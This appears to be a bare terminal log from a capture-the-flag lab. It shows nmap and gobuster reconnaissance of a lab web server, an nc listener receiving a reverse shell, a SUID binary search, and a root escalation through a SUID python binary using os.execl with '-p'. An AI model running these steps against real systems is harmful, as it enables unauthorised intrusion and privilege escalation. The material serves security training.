nmap -Pn -sC -sV -oA nmap.initial 10.10.40.110
Starting Nmap 7.92 ( https://nmap.org ) at 2022-03-28 19:14 IST
Stats: 0:00:01 elapsed; 0 hosts completed (0 up), 0 undergoing Script Pre-Scan
NSE Timing: About 0.00% done
Nmap scan report for 10.10.40.110
Host is up (2.8s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 4a:b9:16:08:84:c2:54:48:ba:5c:fd:3f:22:5f:22:14 (RSA)
| 256 a9:a6:86:e8:ec:96:c3:f0:03:cd:16:d5:49:73:d0:82 (ECDSA)
|_ 256 22:f6:b5:a6:54:d9:78:7c:26:03:5a:95:f3:f9:df:cd (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-title: HackIT - Home
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 206.54 seconds
sudo gobuster dir -u http://10.10.40.110 -w /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-small-directories.txt
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.40.110
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-small-directories.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2022/03/28 19:15:27 Starting gobuster in directory enumeration mode
===============================================================
/js (Status: 301) [Size: 309] [--> http://10.10.40.110/js/]
/css (Status: 301) [Size: 310] [--> http://10.10.40.110/css/]
/uploads (Status: 301) [Size: 314] [--> http://10.10.40.110/uploads/]
/panel (Status: 301) [Size: 312] [--> http://10.10.40.110/panel/]
/server-status (Status: 403) [Size: 277]
nc -lvnp 9001
1m 34s
listening on [any] 9001 ...
connect to [10.11.66.165] from (UNKNOWN) [10.10.150.128] 45406
$ python -c 'import pty;pty.spawn("/bin/bash")'
bash-4.4$ find / -type f -name user.txt 2>/dev/null
/var/www/user.txt
bash-4.4$ cat /var/www/user.txt
bash-4.4$ find / -type f -perm -04000 -ls 2>/dev/null
=====================================================================
2019 /usr/bin/newuidmap
787288 40 -rwsr-xr-x 1 root root 37136 Mar 22 2019 /usr/bin/newgidmap
787086 44 -rwsr-xr-x 1 root root 44528 Mar 22 2019 /usr/bin/chsh
266770 3580 -rwsr-sr-x 1 root root 3665768 Aug 4 2020 /usr/bin/python
787033 52 -rwsr-sr-x 1 daemon daemon 51464 Feb 20 2018 /usr/bin/at
787084 76 -rwsr-xr-x 1 root root 76496 Mar 22 2019 /usr/bin/chfn
787179 76 -rwsr-xr-x 1 root root 75824 Mar 22 2019 /usr/bin/gpasswd
787431 148 -rwsr-xr-x 1 root root 149080 Jan 31 2020 /usr/bin/sudo
787289 40 -rwsr-xr-x 1 root root 40344 Mar 22
=======================================================================
python -c 'import os; os.execl("/bin/sh", "sh", "-p")'
whoami
root